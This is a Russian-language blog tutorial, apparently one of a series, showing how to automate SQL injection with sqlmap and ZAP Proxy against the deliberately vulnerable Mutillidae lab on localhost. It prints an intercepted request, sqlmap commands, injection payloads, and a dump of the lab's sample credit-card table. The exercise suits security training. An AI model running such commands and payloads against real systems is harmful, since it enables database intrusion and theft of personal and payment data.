В моей любимой компьютерной игре Quest for Glory 2: Trial by Fire, когда мир в очередной раз оказывается в опасности, главный герой попадает в Университет волшебников. После успешного прохождения вступительных испытаний бородатые мудрые волшебники предлагают поступить в этот Университет, потому что, окончив его, мы разберемся во всех тонкостях магии, изучим все заклинания и тогда уже точно спасем своих друзей и победим мировое зло. Проблема только в том, что учиться предстоит 15-20 лет, а за это время силы зла успеют победить и не один раз.

Я каждый раз невольно вспоминаю этот эпизод, когда передо мной оказывается очередная интересная книга или кипа технической документации. Про тайм-менеджмент написана куча книг, но для меня это сводится к простой формуле: разобрался в основах, разобрал примеры – дальше только автоматизация!

Теперь, когда мы примерно представляем, как работают инъекции, так почему бы не попробовать упростить себе жизнь и еще раз разобрать какой-нибудь прошлый пример, но уже с помощью дополнительного программного обеспечения. Нам потребуется два инструмента:
Sqlmap – инструмент, которой позволяет автоматизировать поиск и эксплуатацию уязвимостей в SQL и ZAP Proxy – локальный прокси-сервер, который нужен для анализа трафика между браузером в веб-сервером.

Опять нужно упомянуть, что это не единственные подобные инструменты, и наверняка в соседнем блоге вам убедительно докажут, что вместо sqlmap нужно разобраться с sqlninja, а на ZAP тратить время не нужно, когда есть Burp. Спорить ни с кем не стану.

Облегчать жизнь мы себе начнем с перехвата трафика между клиентом и веб-сервером. Полученные данные будут использованы в качестве параметров для sqlmap. По большому счету, в качестве такого параметра может выступать и URL уязвимого приложения, но сейчас данные с прокси будут для нас нагляднее.

Работать будем всё с тем же примером из A1, который мы разбирали в предыдущей статье («SQLi – Extract Data» > «User Info (SQL)»).


Зайдем на эту страницу через наш ZAP Proxy и введем какие-нибудь данные. Я понимаю, что велик соблазн уже попробовать что-то из того, что мы изучили, но именно сейчас нужно просто ввести любые заведомо неправильные данные. Я ввожу свои любимые admin/password и получаю в перехвате вот такой запрос:

GET http://127.0.0.1/mutillidae/index.php?page=user-

info.php&username=admin&password=password&user-info-php-submit-

button=View+Account+Details HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php  
Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Host: 127.0.0.1  

Здесь нас в первую очередь интересует первая строчка, а именно запрос. Иногда полезно проверить, то ли мы перехватили. Это можно сделать, повторив этот сформированный запрос в том же браузере. Если получим ту же страницу с ошибкой, значит мы на верном пути.

Сохраним наш перехваченный запрос в виде отдельного файла request_sqlmap.txt.

А теперь передадим это файл для анализа в sqlmap:

sqlmap -r reqest_sqlmap.txt --banner  

Параметр –banner нам нужен, чтобы sqlmap попробовал определить, с какой СУБД мы имеем дело. В нашем примере это не так важно, но на практике вы сможете ускорить тестирование, не отвлекаясь на аспекты других СУБД, которые не применимы к вашей цели.

[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests:  
---  
Parameter: username (GET)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details  
Type: UNION query  
Title: Generic UNION query (NULL) - 7 columns  
Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details  
---  
[23:20:10] [INFO] the back-end DBMS is MySQL  
[23:20:10] [INFO] fetching banner  
web server operating system: Windows  
web application technology: Apache 2.4.29, PHP 7.2.3  
back-end DBMS: MySQL >= 5.0  
banner: '10.1.31-MariaDB'  
[23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'  

Сканирование успешно завершено, и мы еще раз увидели, то, что в общем-то и так знали:

[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  

Кроме этого, sqlmap определил, что мы имеем дело с mysql, а точнее его форком. Теперь давайте посмотрим, какие базы данных есть на сервере:

sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs

Здесь и далее мы будем указывать в качестве параметра для sqlmap наш файл перехвата. Кроме этого, мы укажем параметры, которые уже знаем: тип СУБД, а также ключ -dbs, чтобы получить данные о существующих базах данных:

[23:27:19] [WARNING] reflective value(s) found and filtering out  
available databases [6]:  
[*] information_schema  
[*] mutillidae  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] test  


Отлично. Обычно базам дают какие-то осмысленные названия, либо они создаются автоматически при установке приложений. Принцип «Security by obscurity», конечно, никто не отменял, но это скорее исключение, чем правило. Самое интересное в нашем, случае судя по всему, это база mutillidae, посмотрим из чего она состоит:

sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables  

Здесь к известным нам вещам мы добавим нужную СУБД и ключ –tables, чтобы посмотреть на таблицы этой базе:

[23:29:42] [WARNING] reflective value(s) found and filtering out  
Database: mutillidae  
[13 tables]  
+----------------------------+  
| accounts 		     |  
| balloon_tips               |  
| blogs_table                |  
| captured_data              |  
| credit_cards               |  
| help_texts                 |  
| hitlog                     |  
| level_1_help_include_files |  
| page_help                  |  
| page_hints                 |  
| pen_test_tools             |  
| user_poll_results          |  
| youtubevideos              |  
+----------------------------+  

Уже неплохо. Особенно многообещающей выглядит таблица credit_cards. Заглянем в нее:

sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

и получим:

[23:31:35] [WARNING] reflective value(s) found and filtering out  
Database: mutillidae  
Table: credit_cards  
[4 columns]  
+------------+---------+  
| Column     |   Type  |  
+------------+---------+  
| ccid       | int(11) |  
| ccnumber   | text    |  
| ccv        | text    |  
| expiration | date    |   
+------------+---------+  

Ого, да тут целая таблица, где должны храниться данные о кредитных картах! Раз уж пришли, давайте заглянем в эту таблицу:

sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump  

Упс:

[23:32:42] [WARNING] reflective value(s) found and filtering out  
Database: mutillidae  
Table: credit_cards  
[5 entries]  
+------+-----+----------------------------+-----------------+  
| ccid | ccv | ccnumber                   | expiration      |  
+------+-----+----------------------------+-----------------+  
| 1    | 745 | 4444111122223333           | 2012-03-01      |  
| 2    | 722 | 7746536337776330           | 2015-04-01      |  
| 3    | 461 | 8242325748474749           | 2016-03-01      |  
| 4    | 230 | 7725653200487633           | 2017-06-01      |  
| 5    | 627 | 1234567812345678           | 2018-11-01      |  
+------+-----+----------------------------+-----------------+  

Вот и они, наши кредитные карты. У вас в голове сейчас должны прозвучать два вопроса: как это работает, и откуда все эти данные?

Как это работает? Ну строго говоря, так же, как если бы вы перебирали все возможные варианты, пытаясь наугад проэксплуатировать ту или иную уязвимость.

А вот откуда данные, вопрос к администратору, который разместил такие важные сведения в таком неподходящем месте.

У sqlmap десятки параметров, которые мы не можем разобрать в одной статье. Но и задача моих статей – познакомить с решением, а дальше уже дело за вами. Попробуйте на досуге так же покопать остальные базы и поэкспериментировать с параметрами, возможно, кредитные карты – это не самое интересное. =)

Прочитать блог автора статьи можно по этой ссылке.

Комментарии (0)